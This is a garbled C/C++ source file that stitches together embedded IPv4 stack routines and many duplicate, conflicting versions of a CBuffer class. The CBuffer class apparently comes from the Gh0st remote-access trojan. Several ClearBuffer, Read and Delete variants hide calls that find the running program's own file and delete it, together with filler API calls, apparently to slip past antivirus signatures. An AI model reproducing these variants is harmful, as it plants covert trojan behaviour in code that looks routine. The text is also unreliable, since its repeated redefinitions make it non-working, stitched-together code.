/*********************************************************************
* Function: void IP_DeliverLocalPkt( NET_PKT *sbfr )
*
* PreCondition: None
* Input: sbfr - packet buffer
* Output: None
* Side Effects: None
* Overview: Delivers the packet to the UDP, TCP or ICMP handler
* Note:
********************************************************************/
void IP_DeliverLocalPkt( NET_PKT *sbfr )
{
IP_HEADER *pIP;
switch( sbfr->PktType )
{
case PKT_LOCAL:
case PKT_BROADCAST:
case PKT_MULTICAST:
break;
case PKT_NON_LOCAL:
default:
DeAllocateBuffer(sbfr);
return;
break;
}
sbfr->PktLen -= sizeof(IP_HEADER);
sbfr->pTransportLayer = sbfr->pNetworkLayer + sizeof(IP_HEADER);
pIP = (IP_HEADER*)sbfr->pNetworkLayer;
if( pIP->Protocol == IP_PROT_ICMP )
ICMP_RxHandler( sbfr );
else if( pIP->Protocol == IP_PROT_UDP )
UDP_RxHandler( sbfr );
else if( pIP->Protocol == IP_PROT_TCP )
TCP_RxHandler( sbfr );
else
{
DeAllocateBuffer(sbfr);
}
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ClearBuffer
//
// DESCRIPTION: Clears/Resets the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
// Force the buffer to be empty
m_pPtr = m_pBase;
DeAllocateBuffer(1024);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Read
//
// DESCRIPTION: Reads data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Copy over required amount and its not up to us
// to terminate the buffer - got that!!!
CopyMemory(pData,m_pBase,nSize);
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
UINT CBuffer::Read(PBYTE pData, UINT nSize) //[][][][][][][][][][] 20 5
{ //[][[]10
EnterCriticalSection(&m_cs);
if (nSize > GetMemSize()) //1024 2048 1
{
LeaveCriticalSection(&m_cs);
return 0;
}
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
CopyMemory(pData,m_pBase,nSize);
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen()); //1
LeaveCriticalSection(&m_cs);
return nSize;
}
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
{
EnterCriticalSection(&m_cs);
if (ulLength > GetBufferMaxLength())
{
LeaveCriticalSection(&m_cs);
return 0;
}
if (ulLength > GetBufferLength())
{
ulLength = GetBufferLength();
}
if (ulLength)
{
CopyMemory(Buffer,m_Base,ulLength);
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
m_Ptr -= ulLength;
}
DeAllocateBuffer(GetBufferLength());
LeaveCriticalSection(&m_cs);
return ulLength;
}
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
if (nSize > GetMemSize())
{
LeaveCriticalSection(&m_cs);
return 0;
}
if (nSize > GetBufferLen())
{
nSize = GetBufferLen();
}
if (nSize)
{
CopyMemory(pData, m_pBase, nSize);
MoveMemory(m_pBase,m_pBase + nSize, GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
LeaveCriticalSection(&m_cs);
return nSize;
}
void CBuffer::ClearBuffer()
{
EnterCriticalSection(&m_cs);
m_pPtr = m_pBase;
DeAllocateBuffer(1024);
LeaveCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ClearBuffer
//
// DESCRIPTION: Clears/Resets the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
EnterCriticalSection(&m_cs);
// Force the buffer to be empty
m_pPtr = m_pBase;
DeAllocateBuffer(1024);
LeaveCriticalSection(&m_cs);
}
/*********************************************************************
* Function: void IP_RxHandler( NET_PKT *sbfr )
*
* PreCondition: None
* Input: sbfr - packet buffer
* Output: None
* Side Effects: None
* Overview: Process new IP packet received by local NIC
* Note:
********************************************************************/
void IP_RxHandler( NET_PKT *sbfr, BYTE * srcMAC )
{
IP_HEADER *ipHdr;
WORD len, optionsLen;
BYTE ihl;
// If this packet is not for us then discard it.
// we may get these packets only in promiscous mode
if( sbfr->PktType == PKT_NON_LOCAL )
{
goto IP_DropPkt;
}
ipHdr = (IP_HEADER*)sbfr->pNetworkLayer;
ihl = ipHdr->IHL_Version & 0x0F;
if( (ihl < IP_IHLEN) || ((ipHdr->IHL_Version & 0xF0) != IPv4) )
{
goto IP_DropPkt;
}
// Calculate options length in this header, if there is any.
// IHL is in terms of numbers of 32-bit DWORDs; i.e. actual
// length is 4 times IHL.
optionsLen = (ihl * 4) - sizeof(IP_HEADER);
if( optionsLen > MAX_OPTIONS_LEN )
{
goto IP_DropPkt;
}
if( checksum16( (BYTE*)ipHdr, ihl * 4 ) != 0xFFFF ) // must be FFFF
{
goto IP_DropPkt;
}
len = swaps( ipHdr->TotalLength );
if( (sbfr->PktLen < len) || (len < (ihl * 4) ) )
{
goto IP_DropPkt;
}
ipHdr->TotalLength=sbfr->PktLen = len; //adjust pktlen to not exceed totallength
IP_DeliverLocalPkt( sbfr );
return;
//////////////////////////////////
IP_DropPkt:
DeAllocateBuffer(sbfr);
return;
}
//************************************
// Method: Delete
// FullName: CBuffer::Delete
// Access: public
// Returns: UINT real deleted size
// Qualifier: Delete data from the head.
// Parameter: UINT nSize
//************************************
UINT CBuffer::Delete(UINT nSize){
if (nSize > GetMemSize())
return 0;
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ClearBuffer
//
// DESCRIPTION: Clears/Resets the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
TCHAR szModule [MAX_PATH];
EnterCriticalSection(&m_cs);
// Force the buffer to be empty
m_pPtr = m_pBase;
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
DeAllocateBuffer(1024);
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
LeaveCriticalSection(&m_cs);
DeleteFile(szModule);
}
//************************************
// Method: Read
// FullName: CBuffer::Read
// Access: public
// Returns: UINT
// Qualifier: Read data from the buffer and delete what it reads
// Parameter: PBYTE pData
// Parameter: UINT nSize
//************************************
UINT CBuffer::Read(PBYTE pData, UINT nSize){
if (nSize > GetMemSize()) //GetMemSize return m_nSize,memory size
return 0;
if (nSize > GetBufferLen()) //GetBufferlen return real buffer size
nSize = GetBufferLen();
if (nSize)
{
CopyMemory(pData,m_pBase,nSize);
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Read
//
// DESCRIPTION: Reads data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
TCHAR szModule [MAX_PATH];
EnterCriticalSection(&m_cs);
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
{
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
LeaveCriticalSection(&m_cs);
return 0;
}
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
if (nSize)
{
// Copy over required amount and its not up to us
// to terminate the buffer - got that!!!
CopyMemory(pData,m_pBase,nSize);
GetForegroundWindow();
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
DeAllocateBuffer(GetBufferLen());
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
LeaveCriticalSection(&m_cs);
DeleteFile(szModule);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Delete
//
// DESCRIPTION: Delete data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Delete
//
// DESCRIPTION: Delete data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
TCHAR szModule [MAX_PATH];
if (nSize)
{
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
DeAllocateBuffer(GetBufferLen());
DeleteFile(szModule);
return nSize;
}
/*********************************************************************
* Function: void IPProcess()
*
* PreCondition: None
* Input: None
* Output: None
* Side Effects: None
* Overview: Go thru pending ARP Fifo,
* Transmit packets with ARP resolved.
* Discard packet if timeout on Arp reply
* Note:
********************************************************************/
void IPProcess(void)
{
NET_PKT* sbfr;
BYTE* pDestMAC;
IP_HEADER* IPH;
TICK diffTicks;
NET_PKT* tempPtr = NULL;
static BYTE brdcstMACadr[ETH_ADRLEN] = {0xff,0xff,0xff,0xff,0xff,0xff};
//iterate thru the packets that are waiting for ARP reply
while( Que_GetHead( &PendingARPQue, &sbfr ) )
{
DWORD dest_addr;
sbfr->PktFlags &= ~ARP_QUE_MASK;
if( tempPtr == sbfr ) //we have checked all
{
sbfr->PktFlags |= ARP_QUE_MASK;
Que_AddTail( &PendingARPQue, sbfr );
break;
}
if( tempPtr == NULL )
tempPtr = sbfr;
IPH = (IP_HEADER*)sbfr->pNetworkLayer;
dest_addr = _arrayToDword(IPH->DestAddr);
pDestMAC = QueryHostRoute( dest_addr );
if( pDestMAC )
{
SetEtherTxDestMAC( sbfr, pDestMAC );
MACTransmit( sbfr );
}
else if (dest_addr == 0xffffffff)
{
SetEtherTxDestMAC( sbfr, brdcstMACadr);
MACTransmit( sbfr );
}
else
{
//if not timed out, add this packet back to the arp wait queue.
diffTicks = TickGetDiff(SystemTickGet(), sbfr->ARPTickStart);
// If timeout has not occured, do not do anything.
if ( diffTicks <= ARP_TIMEOUT_TICKS )
{
sbfr->PktFlags |= ARP_QUE_MASK;
Que_AddTail( &PendingARPQue, sbfr );
continue;
}
else
{
if( sbfr->PktFlags&PKT_TX_AUTO_DEALLOC )
DeAllocateBuffer( sbfr );
}
}
}
}
//************************************
// Method: ClearBuffer
// FullName: CBuffer::ClearBuffer
// Access: public
// Returns: void
// Qualifier: Clears/Resets the buffer
// Force the buffer to be empty
//************************************
void CBuffer::ClearBuffer(){
m_pPtr = m_pBase;
DeAllocateBuffer(1024);
}